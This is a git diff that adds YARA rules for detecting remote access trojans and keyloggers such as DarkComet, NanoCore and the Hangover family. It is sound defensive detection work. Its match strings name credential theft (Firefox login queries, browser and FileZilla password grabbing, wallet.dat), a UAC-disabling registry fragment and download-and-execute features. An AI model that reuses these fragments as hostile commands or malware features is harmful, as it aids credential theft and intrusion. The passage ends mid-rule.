+rule SpyGate
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/SpyGate"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$split = "abccba"
+		$a1 = "abccbaSpyGateRATabccba" //$a = Version 0.2.6
+		$a2 = "StubX.pdb" 
+		$a3 = "abccbaDanabccb"
+		$b1 = "monikerString" nocase //$b = Version 2.0
+		$b2 = "virustotal1"
+		$b3 = "get_CurrentDomain"
+		$c1 = "shutdowncomputer" wide //$c = Version 2.9
+		$c2 = "shutdown -r -t 00" wide
+		$c3 = "set cdaudio door closed" wide
+		$c4 = "FileManagerSplit" wide
+		$c5 = "Chating With >> [~Hacker~]" wide
+
+	condition:
+		(all of ($a*) and #split > 40) or (all of ($b*) and #split > 10) or (all of ($c*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Sub7Nation.yar b/yara-mikesxrs/kevthehermit/Sub7Nation.yar
new file mode 100644
index 0000000..1a1b8c6
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Sub7Nation.yar
@@ -0,0 +1,28 @@
+rule Sub7Nation
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Sub7Nation"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "EnableLUA /t REG_DWORD /d 0 /f"
+		$b = "*A01*"
+		$c = "*A02*"
+		$d = "*A03*"
+		$e = "*A04*"	
+		$f = "*A05*"
+		$g = "*A06*"
+		$h = "#@#@#"
+		$i = "HostSettings"
+		$verSpecific1 = "sevane.tmp"
+		$verSpecific2 = "cmd_.bat"
+		$verSpecific3 = "a2b7c3d7e4"
+		$verSpecific4 = "cmd.dll"
+
+		
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Vertex.yar b/yara-mikesxrs/kevthehermit/Vertex.yar
new file mode 100644
index 0000000..d8daf96
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Vertex.yar
@@ -0,0 +1,23 @@
+rule Vertex
+{
+
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Vertex"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$string1 = "DEFPATH"
+		$string2 = "HKNAME"
+		$string3 = "HPORT"
+		$string4 = "INSTALL"
+		$string5 = "IPATH"
+		$string6 = "MUTEX"
+		$res1 = "PANELPATH"
+		$res2 = "ROOTURL"
+
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/kevthehermit/VirusRat.yar b/yara-mikesxrs/kevthehermit/VirusRat.yar
new file mode 100644
index 0000000..4f4ed52
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/VirusRat.yar
@@ -0,0 +1,26 @@
+rule VirusRat
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/VirusRat"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$string0 = "virustotal"
+		$string1 = "virusscan"
+		$string2 = "abccba"
+		$string3 = "pronoip"
+		$string4 = "streamWebcam"
+		$string5 = "DOMAIN_PASSWORD"
+		$string6 = "Stub.Form1.resources"
+		$string7 = "ftp://{0}@{1}" wide
+		$string8 = "SELECT * FROM moz_logins" wide
+		$string9 = "SELECT * FROM moz_disabledHosts" wide
+		$string10 = "DynDNS\\Updater\\config.dyndns" wide
+		$string11 = "|BawaneH|" wide
+
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/kevthehermit/Xena.yar b/yara-mikesxrs/kevthehermit/Xena.yar
new file mode 100644
index 0000000..bdeeef5
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Xena.yar
@@ -0,0 +1,22 @@
+rule Xena
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2015/06"
+		ref = "http://malwareconfig.com/stats/Xena"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "HuntHTTPDownload"
+		$b = "KuInstallation"
+		$c = "PcnRawinput"
+		$d = "untCMDList"
+		$e = "%uWebcam"
+		$f = "KACMConvertor"
+		$g = "$VarUtils"
+        $h = "****##"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/Xtreme.yar b/yara-mikesxrs/kevthehermit/Xtreme.yar
new file mode 100644
index 0000000..8238492
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/Xtreme.yar
@@ -0,0 +1,20 @@
+rule Xtreme
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Xtreme"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		ver = "2.9, 3.1, 3.2, 3.5"
+
+	strings:
+		$a = "XTREME" wide
+		$b = "ServerStarted" wide
+		$c = "XtremeKeylogger" wide
+		$d = "x.html" wide
+		$e = "Xtreme RAT" wide
+
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/kevthehermit/adWind.yar b/yara-mikesxrs/kevthehermit/adWind.yar
new file mode 100644
index 0000000..125fe9c
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/adWind.yar
@@ -0,0 +1,18 @@
+rule adWind
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/AAR"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$meta = "META-INF"
+		$conf = "config.xml"
+		$a = "Adwind.class"
+		$b = "Principal.adwind"
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/jRat.yar b/yara-mikesxrs/kevthehermit/jRat.yar
new file mode 100644
index 0000000..b74298e
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/jRat.yar
@@ -0,0 +1,23 @@
+rule jRat
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/jRat"
+		maltype = "Remote Access Trojan"
+		filetype = "Java"
+
+    strings:
+        $meta = "META-INF"
+        $key = "key.dat"
+        $conf = "config.dat"
+ 		$jra1 = "enc.dat"
+		$jra2 = "a.class"
+		$jra3 = "b.class"
+		$jra4 = "c.class"
+        $reClass1 = /[a-z]\.class/
+        $reClass2 = /[a-z][a-f]\.class/
+
+    condition:
+       ($meta and $key and $conf and #reClass1 > 10 and #reClass2 > 10) or ($meta and $key and all of ($jra*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/kevthehermit/kevthehermit_index.yara b/yara-mikesxrs/kevthehermit/kevthehermit_index.yara
new file mode 100644
index 0000000..f6a82aa
--- /dev/null
+++ b/yara-mikesxrs/kevthehermit/kevthehermit_index.yara
@@ -0,0 +1,1335 @@
+rule AAR
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/AAR"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "Hashtable"
+		$b = "get_IsDisposed"
+		$c = "TripleDES"
+		$d = "testmemory.FRMMain.resources"
+		$e = "$this.Icon" wide
+		$f = "{11111-22222-20001-00001}" wide
+		$g = "@@@@@"
+
+	condition:
+		all of them
+}
+
+rule adWind
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/AAR"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$meta = "META-INF"
+		$conf = "config.xml"
+		$a = "Adwind.class"
+		$b = "Principal.adwind"
+
+	condition:
+		all of them
+}
+
+rule Adzok
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		Description = "Adzok Rat"
+		Versions = "Free 1.0.0.3,"
+		date = "2015/05"
+		ref = "http://malwareconfig.com/stats/Adzok"
+		maltype = "Remote Access Trojan"
+		filetype = "jar"
+
+	strings:
+		$a1 = "config.xmlPK"
+		$a2 = "key.classPK"
+		$a3 = "svd$1.classPK"
+		$a4 = "svd$2.classPK"
+    $a5 = "Mensaje.classPK"
+		$a6 = "inic$ShutdownHook.class"
+		$a7 = "Uninstall.jarPK"
+		$a8 = "resources/icono.pngPK"
+        
+	condition:
+    7 of ($a*)
+}
+rule AlienSpy
+{
+    meta:
+        author = "Kevin Breen"
+        ref = "http://malwareconfig.com/stats/AlienSpy"
+        maltype = "Remote Access Trojan"
+        filetype = "jar"
+
+    strings:
+        $PK = "PK"
+        $MF = "META-INF/MANIFEST.MF"
+    
+        $a1 = "a.txt"
+        $a2 = "b.txt"
+        $a3 = "Main.class"
+    
+        $b1 = "ID"
+        $b2 = "Main.class"
+        $b3 = "plugins/Server.class"
+    
+        $c1 = "resource/password.txt"
+        $c2 = "resource/server.dll"
+    
+        $d1 = "java/stubcito.opp"
+        $d2 = "java/textito.isn"
+    
+        $e1 = "java/textito.text"
+        $e2 = "java/resources.xsx"
+    
+        $f1 = "amarillo/asdasd.asd"
+        $f2 = "amarillo/adqwdqwd.asdwf"
+
+        $g1 = "config/config.perl"
+        $g2 = "main/Start.class"
+        
+        $o1 = "config/config.ini"
+        $o2 = "windows/windows.ini"
+        $o3 = "components/linux.plsk"
+        $o4 = "components/manifest.ini"
+        $o5 = "components/mac.hwid"
+        
+
+    condition:
+        $PK at 0 and $MF and
+        (all of ($a*) or all of ($b*) or all of ($c*) or all of ($d*) or all of ($e*) or all of ($f*) or all of ($g*) or any of ($o*))
+}
+rule Ap0calypse
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Ap0calypse"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "Ap0calypse"
+		$b = "Sifre"
+		$c = "MsgGoster"
+		$d = "Baslik"
+		$e = "Dosyalars"
+		$f = "Injecsiyon"
+
+	condition:
+		all of them
+}
+rule Arcom
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Arcom"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+        
+    strings:
+        $a1 = "CVu3388fnek3W(3ij3fkp0930di"
+        $a2 = "ZINGAWI2"
+        $a3 = "clWebLightGoldenrodYellow"
+        $a4 = "Ancestor for '%s' not found" wide
+        $a5 = "Control-C hit" wide
+        $a6 = {A3 24 25 21}
+        
+    condition:
+        all of them
+}
+
+rule Bandook
+{
+
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/bandook"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+        
+    strings:
+    		$a = "aaaaaa1|"
+            $b = "aaaaaa2|"
+            $c = "aaaaaa3|"
+            $d = "aaaaaa4|"
+			$e = "aaaaaa5|"
+			$f = "%s%d.exe"
+			$g = "astalavista"
+			$h = "givemecache"
+			$i = "%s\\system32\\drivers\\blogs\\*"
+			$j = "bndk13me"
+			
+
+        
+    condition:
+    		all of them
+}
+
+rule BlackNix
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/BlackNix"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+        
+    strings:
+		$a1 = "SETTINGS" wide
+		$a2 = "Mark Adler"
+		$a3 = "Random-Number-Here"
+		$a4 = "RemoteShell"
+		$a5 = "SystemInfo"
+
+	
+	condition:
+		all of them
+}
+
+rule BlackShades
+{
+    meta:
+        author = "Brian Wallace (@botnet_hunter)"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/PoisonIvy"
+        ref = "http://blog.cylance.com/a-study-in-bots-blackshades-net"
+        family = "blackshades"
+
+    strings:
+        $string1 = "bss_server"
+        $string2 = "txtChat"
+        $string3 = "UDPFlood"
+    condition:
+        all of them
+}
+
+rule BlueBanana
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/BlueBanana"
+		maltype = "Remote Access Trojan"
+		filetype = "Java"
+
+	strings:
+		$meta = "META-INF"
+		$conf = "config.txt"
+		$a = "a/a/a/a/f.class"
+		$b = "a/a/a/a/l.class"
+		$c = "a/a/a/b/q.class"
+		$d = "a/a/a/b/v.class"
+
+		
+	condition:
+		all of them
+}
+
+rule Bozok
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Bozok"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "getVer" nocase
+		$b = "StartVNC" nocase
+		$c = "SendCamList" nocase
+		$d = "untPlugin" nocase
+		$e = "gethostbyname" nocase
+	
+	condition:
+		all of them
+}
+
+rule ClientMesh
+{
+    meta:
+        author = "Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/06"
+        ref = "http://malwareconfig.com/stats/ClientMesh"
+        family = "torct"
+
+    strings:
+        $string1 = "machinedetails"
+        $string2 = "MySettings"
+        $string3 = "sendftppasswords"
+        $string4 = "sendbrowserpasswords"
+        $string5 = "arma2keyMass"
+        $string6 = "keylogger"
+        /*$conf = {00 00 00 00 00 00 00 00 00 7E}*/
+
+    condition:
+        all of them
+}
+rule Crimson
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		Description = "Crimson Rat"
+		date = "2015/05"
+		ref = "http://malwareconfig.com/stats/Crimson"
+		maltype = "Remote Access Trojan"
+		filetype = "jar"
+
+	strings:
+		$a1 = "com/crimson/PK"
+		$a2 = "com/crimson/bootstrapJar/PK"
+		$a3 = "com/crimson/permaJarMulti/PermaJarReporter$1.classPK"
+		$a4 = "com/crimson/universal/containers/KeyloggerLog.classPK"
+        $a5 = "com/crimson/universal/UploadTransfer.classPK"
+        
+	condition:
+        all of ($a*)
+}
+
+rule CyberGate
+{
+
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/CyberGate"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$string1 = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+		$string2 = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+		$string3 = "EditSvr"
+		$string4 = "TLoader"
+		$string5 = "Stroks"
+		$string6 = "####@####"
+		$res1 = "XX-XX-XX-XX"
+		$res2 = "CG-CG-CG-CG"
+
+	condition:
+		all of ($string*) and any of ($res*)
+}
+
+rule DarkComet
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/DarkComet"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		// Versions 2x
+		$a1 = "#BOT#URLUpdate"
+		$a2 = "Command successfully executed!"
+		$a3 = "MUTEXNAME" wide
+		$a4 = "NETDATA" wide
+		// Versions 3x & 4x & 5x
+		$b1 = "FastMM Borland Edition"
+		$b2 = "%s, ClassID: %s"
+		$b3 = "I wasn't able to open the hosts file"
+		$b4 = "#BOT#VisitUrl"
+		$b5 = "#KCMDDC"
+
+
+
+	condition:
+		all of ($a*) or all of ($b*)
+}
+
+rule DarkRAT
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/DarkRAT"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "@1906dark1996coder@"
+		$b = "SHEmptyRecycleBinA"
+		$c = "mciSendStringA"
+		$d = "add_Shutdown"
+		$e = "get_SaveMySettingsOnExit"
+		$f = "get_SpecialDirectories"
+		$g = "Client.My"
+
+	condition:
+		all of them
+}
+
+rule Greame
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Greame"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		
+	strings:
+    		$a = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+            $b = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+            $c = "EditSvr"
+            $d = "TLoader"
+			$e = "Stroks"
+            $f = "Avenger by NhT"
+			$g = "####@####"
+			$h = "GREAME"
+			
+
+        
+    condition:
+    		all of them
+}
+
+rule Hangover_ron_babylon
+{
+  strings:
+    $a = "Content-Disposition: form-data; name=\"uploaddir\""
+    $b1 = "MBVDFRESCT"
+    $b2 = "EMSCBVDFRT"
+    $b3 = "EMSFRTCBVD"
+    $b4= "sendFile"
+    $b5 = "BUGMAAL"
+    $b6 = "sMAAL"
+    $b7 = "SIMPLE"
+    $b8 = "SPLIME"
+    $b9 = "getkey.php"
+    $b10 = "MBVDFRESCT"
+    $b11 = "DSMBVCTFRE"
+    $b12 = "MBESCVDFRT"
+    $b13 = "TCBFRVDEMS"
+    $b14 = "DEMOMAKE"
+    $b15 = "DEMO"
+    $b16 = "UPHTTP"
+    
+
+    $c1 = "F39D45E70395ABFB8D8D2BFFC8BBD152"
+    $c2 = "90B452BFFF3F395ABDC878D8BEDBD152"
+    $c3 = "FFF3F395A90B452BB8BEDC878DDBD152"
+    $c4 = "5A9DCB8FFF3F02B8B45BE39D152"
+    $c5 = "5A902B8B45BEDCB8FFF3F39D152"
+    $c6 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+    $c7 = "905ABEB452BFFFBDC878D83F39DBD152"
+    $c8 = "D2BFFC8BBD152F3B8D89D45E70395ABF"
+    $c9 = "8765F3F395A90B452BB8BEDC878"
+    $c10 = "90ABDC878D8BEDBB452BFFF3F395D152"
+    $c11 = "F12BDC94490B452AA8AEDC878DCBD187"
+    
+  condition:
+    $a and (1 of ($b*) or 1 of ($c*))
+    
+}
+
+rule Hangover_Fuddol {
+    strings:
+        $a = "\\Http downloader(fud)"
+        $b = "Fileexists"
+    condition:
+        all of them
+
+}
+
+rule Hangover_UpdateEx {
+    strings:
+        $a1 = "UpdateEx"
+        $a2 = "VBA6.DLL"
+        $a3 = "MainEx"
+        $a4 = "GetLogs"
+        $a5 = "ProMan"
+        $a6 = "RedMod"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Tymtin_Degrab {
+    strings:
+        $a1 = "&dis=no&utp=op&mfol="
+        $a2 = "value1=1&value2=2"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_Downloader {
+    strings:
+        $a1 = "DownloadComplete"
+        $a2 = "DownloadProgress"
+        $a3 = "DownloadError"
+        $a4 = "UserControl"
+        $a5 = "MSVBVM60.DLL"
+
+        $b1 = "syslide"
+        $b2 = "frmMina"
+        $b3 = "Soundsman"
+        $b4 = "New_upl"
+        $b5 = "MCircle"
+        $b6 = "shells_DataArrival"
+        
+    condition:
+        3 of ($a*) and 1 of ($b*)
+
+}
+
+
+rule Hangover_Vacrhan_Downloader {
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "VBA6.DLL"
+        $a3 = "Timer1"
+        $a4 = "Timer2"
+        $a5 = "IsNTAdmin"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Smackdown_various {
+    strings:
+        $a1 = "pranVacrhan"
+        $a2 = "NaramGaram"
+        $a3 = "vampro"
+        $a4 = "AngelPro"
+        
+        $b1 = "VBA6.DLL"
+        $b2 = "advpack"
+        $b3 = "IsNTAdmin"
+        
+        
+    condition:
+        1 of ($a*) and all of ($b*)
+
+}
+
+rule Hangover_Foler {
+    strings:
+        $a1 = "\\MyHood"
+        $a2 = "UsbP"
+        $a3 = "ID_MON"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Appinbot {
+    strings:
+        $a1 = "CreateToolhelp32Snapshot"
+        $a2 = "Process32First"
+        $a3 = "Process32Next"
+        $a4 = "FIDR/"
+        $a5 = "SUBSCRIBE %d"
+        $a6 = "CLOSE %d"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Linog {
+    strings:
+        $a1 = "uploadedfile"
+        $a2 = "Error in opening a file.."
+        $a3 = "The file could not be opened"
+        $a4 = "%sContent-Disposition: form-data; name=\"%s\";filename=\"%s\""
+
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Iconfall {
+    strings:
+        $a1 = "iconfall"
+        $a2 = "78DDB5A902BB8FFF3F398B45BEDCD152"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Deksila {
+    strings:
+        $a1 = "WinInetGet/0.1"
+        $a2 = "dekstop2007.ico"
+        $a3 = "mozila20"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Auspo {
+    strings:
+        $a1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV2)"
+        $a2 = "POWERS"
+        $a3 = "AUSTIN"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover_Slidewin {
+    strings:
+        $a1 = "[NumLock]"
+        $a2 = "[ScrlLock]"
+        $a3 = "[LtCtrl]"
+        $a4 = "[RtCtrl]"
+        $a5 = "[LtAlt]"
+        $a6 = "[RtAlt]"
+        $a7 = "[HomePage]"
+        $a8 = "[MuteOn/Off]"
+        $a9 = "[VolDn]"
+        $a10 = "[VolUp]"
+        $a11 = "[Play/Pause]"
+        $a12 = "[MailBox]"
+        $a14 = "[Calc]"
+        $a15 = "[Unknown]"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwlog {
+    strings:
+        $a1 = "file closed---------------------"
+        $a2 = "new file------------------"
+        $a3 = "md C:\\ApplicationData\\Prefetch\\"
+        
+    condition:
+        all of them
+
+}
+
+
+rule Hangover_Gimwup {
+    strings:
+        $a1 = "=======inside while==========="
+        $a2 = "scan finished"
+        $a3 = "logFile.txt"
+        
+    condition:
+        all of them
+
+}
+
+rule Hangover2_Downloader {
+
+  strings:
+
+    $a = "WinInetGet/0.1" wide ascii
+
+    $b = "Excep while up" wide ascii
+
+    $c = "&file=" wide ascii
+
+    $d = "&str=" wide ascii
+
+    $e = "?cn=" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_stealer {
+
+  strings:
+
+    $a = "MyWebClient" wide ascii
+
+    $b = "Location: {[0-9]+}" wide ascii
+
+    $c = "[%s]:[C-%s]:[A-%s]:[W-%s]:[S-%d]" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_backdoor_shell {
+
+  strings:
+
+    $a = "Shell started at: " wide ascii
+
+    $b = "Shell closed at: " wide ascii
+
+    $c = "Shell is already closed!" wide ascii
+
+    $d = "Shell is not Running!" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule Hangover2_Keylogger {
+
+  strings:
+
+    $a = "iconfall" wide ascii
+
+    $b = "/c ipconfig /all > " wide ascii
+
+    $c = "Global\\{CHKAJESKRB9-35NA7-94Y436G37KGT}" wide ascii
+
+  condition:
+
+    all of them
+}
+
+rule HawkEye
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2015/06"
+		ref = "http://malwareconfig.com/stats/HawkEye"
+		maltype = "KeyLogger"
+		filetype = "exe"
+
+	strings:
+		$key = "HawkEyeKeylogger" wide
+		$salt = "099u787978786" wide
+		$string1 = "HawkEye_Keylogger" wide
+		$string2 = "holdermail.txt" wide
+		$string3 = "wallet.dat" wide
+		$string4 = "Keylog Records" wide
+   		$string5 = "<!-- do not script -->" wide
+  		$string6 = "\\pidloc.txt" wide
+  		$string7 = "BSPLIT" wide
+
+	condition:
+		$key and $salt and all of ($string*)
+}
+
+rule Imminent
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/Imminent"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+
+    strings:
+        $v1a = "DecodeProductKey"
+        $v1b = "StartHTTPFlood"
+        $v1c = "CodeKey"
+        $v1d = "MESSAGEBOX"
+        $v1e = "GetFilezillaPasswords"
+        $v1f = "DataIn"
+        $v1g = "UDPzSockets"
+        $v1h = {52 00 54 00 5F 00 52 00 43 00 44 00 41 00 54 00 41}
+
+        $v2a = "<URL>k__BackingField"
+        $v2b = "<RunHidden>k__BackingField"
+        $v2c = "DownloadAndExecute"
+        $v2d = "-CHECK & PING -n 2 127.0.0.1 & EXIT" wide
+        $v2e = "england.png" wide
+        $v2f = "Showed Messagebox" wide
+    condition:
+        all of ($v1*) or all of ($v2*)
+}
+
+rule Infinity
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/Infinity"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "CRYPTPROTECT_PROMPTSTRUCT"
+		$b = "discomouse"
+		$c = "GetDeepInfo"
+		$d = "AES_Encrypt"
+		$e = "StartUDPFlood"
+		$f = "BATScripting" wide
+		$g = "FBqINhRdpgnqATxJ.html" wide
+		$i = "magic_key" wide
+
+	condition:
+		all of them
+}
+
+rule JavaDropper
+{
+    meta:
+	    author = " Kevin Breen <kevin@techanarchy.net>"
+	    date = "2015/10"
+	    ref = "http://malwareconfig.com/stats/AlienSpy"
+	    maltype = "Remote Access Trojan"
+	    filetype = "exe"
+
+    strings:
+	    $jar = "META-INF/MANIFEST.MF"
+
+	    $a1 = "ePK"
+	    $a2 = "kPK"
+
+        $b1 = "config.ini"
+        $b2 = "password.ini"
+
+        $c1 = "stub/stub.dll"
+
+        $d1 = "c.dat"
+
+    condition:
+        $jar and (all of ($a*) or all of ($b*) or all of ($c*) or all of ($d*))
+}
+
+rule jRat
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/jRat"
+		maltype = "Remote Access Trojan"
+		filetype = "Java"
+
+    strings:
+        $meta = "META-INF"
+        $key = "key.dat"
+        $conf = "config.dat"
+ 		$jra1 = "enc.dat"
+		$jra2 = "a.class"
+		$jra3 = "b.class"
+		$jra4 = "c.class"
+        $reClass1 = /[a-z]\.class/
+        $reClass2 = /[a-z][a-f]\.class/
+
+    condition:
+       ($meta and $key and $conf and #reClass1 > 10 and #reClass2 > 10) or ($meta and $key and all of ($jra*))
+}
+
+rule LostDoor
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/LostDoor"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+        
+    strings:
+    	$a0 = {0D 0A 2A 45 44 49 54 5F 53 45 52 56 45 52 2A 0D 0A}
+        $a1 = "*mlt* = %"
+        $a2 = "*ip* = %"
+        $a3 = "*victimo* = %"
+        $a4 = "*name* = %"
+        $b5 = "[START]"
+        $b6 = "[DATA]"
+        $b7 = "We Control Your Digital World" wide ascii
+        $b8 = "RC4Initialize" wide ascii
+        $b9 = "RC4Decrypt" wide ascii
+        
+    condition:
+    	all of ($a*) or all of ($b*)
+}
+
+rule LuminosityLink
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2015/06"
+        ref = "http://malwareconfig.com/stats/LuminosityLink"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+
+    strings:
+        $a = "SMARTLOGS" wide
+        $b = "RUNPE" wide
+        $c = "b.Resources" wide
+        $d = "CLIENTINFO*" wide
+        $e = "Invalid Webcam Driver Download URL, or Failed to Download File!" wide
+        $f = "Proactive Anti-Malware has been manually activated!" wide
+        $g = "REMOVEGUARD" wide
+        $h = "C0n1f8" wide
+        $i = "Luminosity" wide
+        $j = "LuminosityCryptoMiner" wide
+        $k = "MANAGER*CLIENTDETAILS*" wide
+
+    condition:
+        all of them
+}
+
+rule LuxNet
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/LuxNet"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "GetHashCode"
+		$b = "Activator"
+		$c = "WebClient"
+		$d = "op_Equality"
+		$e = "dickcursor.cur" wide
+		$f = "{0}|{1}|{2}" wide
+
+	condition:
+		all of them
+}
+
+rule NanoCore
+{
+    meta:
+        author = " Kevin Breen <kevin@techanarchy.net>"
+        date = "2014/04"
+        ref = "http://malwareconfig.com/stats/NanoCore"
+        maltype = "Remote Access Trojan"
+        filetype = "exe"
+
+    strings:
+        $a = "NanoCore"
+        $b = "ClientPlugin"
+        $c = "ProjectData"
+        $d = "DESCrypto"
+        $e = "KeepAlive"
+        $f = "IPNETROW"
+        $g = "LogClientMessage"
+		$h = "|ClientHost"
+		$i = "get_Connected"
+		$j = "#=q"
+        $key = {43 6f 24 cb 95 30 38 39}
+
+
+    condition:
+        6 of them
+}
+
+rule NetWire
+{
+	meta:
+		author = " Kevin Breen <kevin@techanarchy.net>"
+		date = "2014/04"
+		ref = "http://malwareconfig.com/stats/NetWire"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		
+    strings:
+        $string1 = "[Scroll Lock]"
+        $string2 = "[Shift Lock]"
+        $string3 = "200 OK"
+        $string4 = "%s.Identifier"
+        $string5 = "sqlite3_column_text"
+        $string6 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
+    condition:
+        all of them
+}
+
+rule njRat
+{
